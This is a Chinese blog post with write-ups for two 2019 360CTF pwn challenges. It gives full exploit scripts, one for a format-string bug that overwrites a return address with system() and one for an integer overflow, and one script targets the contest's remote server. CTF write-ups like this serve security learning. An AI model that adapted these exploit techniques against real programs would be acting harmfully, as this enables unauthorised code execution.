2019-360ctf-初賽pwn

sfftlt_發表於2019-10-19

2019-360CTF-初賽

初賽很適合入門,好久沒打ctf了格式化字串也卡了一會。。。分享一下exp水一篇,一道格式化字串(用法差不多都考到了),一道整數溢位。

pwn1

明顯的格式化字串漏洞,但是有操作限制,只能操作三次。

 

剛開始的想法是,改bss段的num_limit,但是三次操作很少,至少四次才能改bss段的num_limit。

在這裡也發現一個東西,就是比如下面有四個記憶體
A | B | C |D
其中B->D
我剛開始有一個不成熟的想法:
我可不可以用   %8c$2$n%4$n    來連續操作呢?
連續操作的意思如下,如果他是順序執行的 執行到  %8c$2$n的時候記憶體已經被改為
A | B | C |D2
那麼接下來執行%4$n的時候,就可以向D2指向的記憶體裡面寫啦?

事實證明並不可行,%4$n的時候還是向D指向的記憶體中去寫,我大膽猜測了一下,執行printf的時候,他應該把 執行現場 都已經儲存了,所以操作的時候,還是根據他儲存的現場進行操作。

後面和其他pwn手交流了一下,其實我們可以修改stack裡面的i,i是儲存在stack裡面的啊,真是o(╥﹏╥)o了,卡了好一會呢,可以把i改成負數,後面就是常規fmt操作了。

int i; // [esp+Ch] [ebp-14h]

for ( i = 0; i < limit; ++i )

exp如下:

#https://github.com/matrix1001/welpwn
from PwnContext import *

try:
    from IPython import embed as ipy
except ImportError:
    print ('IPython not installed.')

if __name__ == '__main__':        
    context.terminal = ['tmux', 'splitw', '-h']
    context.log_level = 'debug'
    # functions for quick script
    s       = lambda data               :ctx.send(str(data))        #in case that data is an int
    sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 
    sl      = lambda data               :ctx.sendline(str(data)) 
    sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data)) 
    r       = lambda numb=4096          :ctx.recv(numb)
    ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
    irt     = lambda                    :ctx.interactive()
    rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
    dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
    # misc functions
    uu32    = lambda data   :u32(data.ljust(4, '\0'))
    uu64    = lambda data   :u64(data.ljust(8, '\0'))

    ctx.binary = './pwn10'
    #ctx.custom_lib_dir = '/home/leo/glibc-all-in-one/libs/2.27-3ubuntu1_amd64'
    #ctx.remote = ('180.153.183.102', 10001)
    #ctx.debug_remote_libc = True


    ctx.breakpoints = [0x81C]
    #ctx.debug()
    ctx.symbols = {'node':0x2008,}

    def lg(s,addr):
        print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))


    def run(payload):
        sla('Exit',1)
        sa('something\n',payload)

    rs()
    #rs('remote')


    context.log_level = 'info'
    #leak and break through the num_limit
    payload = '%p%6$p%15$p\n'
    run(payload) #1
    limit = int(r(10),16)
    stack_main_ret = int(r(10),16) - 0xa8
    stack2 = stack_main_ret - 0x38
    main_ret = int(r(10),16)
    i_addr = stack_main_ret - 4 - 0x14
    system = main_ret + 0x22769

    lg('stack_main_ret',stack_main_ret)
    lg('main_ret',main_ret)
    lg('i_addr',i_addr)
    lg('stack2',stack2)
    #dbg()

    part = i_addr&0xffff 
    payload = '%'+str(part+2)+'d'
    payload += '%6$hn'
    run(payload)

    payload = '%'+str(0xffff)+'d' #modify the i to a negative number.
    payload += '%57$hn'
    run(payload)

    #dbg()
    #modify the stack_main_ret
    #write the system_addr on the stack_main_ret
    part = stack_main_ret&0xffff 
    payload = '%'+str(part+0x10)+'d'
    payload += '%6$hn'
    run(payload)

    part = system&0xffff 
    payload = '%'+str(part)+'d'
    payload += '%57$hn'
    run(payload)


    part = stack_main_ret&0xffff 
    payload = '%'+str(part+2+0x10)+'d'
    payload += '%6$hn'
    run(payload)

    part = system&0xffff0000
    part = part >> 16
    payload = '%'+str(part)+'d'
    payload += '%57$hn'
    run(payload)

    #write the buf_addr on the stack_main_ret
    part = stack_main_ret&0xffff 
    payload = '%'+str(part+8+0x10)+'d'
    payload += '%6$hn'
    run(payload)

    part = limit&0xffff 
    payload = '%'+str(part)+'d'
    payload += '%57$hn'
    run(payload)


    part = stack_main_ret&0xffff 
    payload = '%'+str(part+2+8+0x10)+'d'
    payload += '%6$hn'
    run(payload)


    part = limit&0xffff0000
    part = part >> 16
    payload = '%'+str(part)+'d'
    payload += '%57$hn'
    run(payload)

    payload = 'cat ./flag\0'
    run(payload)

    sleep(0.1)
    sl('2')

    irt()

pwn2

考察點:整數溢位,原理我也寫過,不太熟悉的可以看看文章,再寫幾個demo檢視一下記憶體就明白了。

 

exp如下:

#https://github.com/matrix1001/welpwn
from PwnContext import *

try:
    from IPython import embed as ipy
except ImportError:
    print ('IPython not installed.')

if __name__ == '__main__':        
    context.terminal = ['tmux', 'splitw', '-h']
    context.log_level = 'debug'
    # functions for quick script
    s       = lambda data               :ctx.send(str(data))        #in case that data is an int
    sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 
    sl      = lambda data               :ctx.sendline(str(data)) 
    sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data)) 
    r       = lambda numb=4096          :ctx.recv(numb)
    ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
    irt     = lambda                    :ctx.interactive()
    rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
    dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
    # misc functions
    uu32    = lambda data   :u32(data.ljust(4, '\0'))
    uu64    = lambda data   :u64(data.ljust(8, '\0'))

    ctx.binary = './pwn11'
    #ctx.custom_lib_dir = '/home/leo/glibc-all-in-one/libs/2.27-3ubuntu1_amd64'
    ctx.remote = ('180.153.183.102', 10002)
    #ctx.debug_remote_libc = True

    ctx.symbols = {
        'lst':0x2022a0,
        'stderr':0x202160,  #0x18eea0
    }

    ctx.breakpoints = [0x400955]#bypass1 400955 
    ctx.debug()


    def lg(s,addr):
        print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))


    #rs()
    rs('remote')
    #dbg('c')
    sla('x: ',359)
    sla('y: ',str(0xffffffff))

    ru('x and y:')
    sl('4')
    sl(str(0x4000005a))



    irt()

結語

越來越菜,難題做不出,簡單題也。。。

相關文章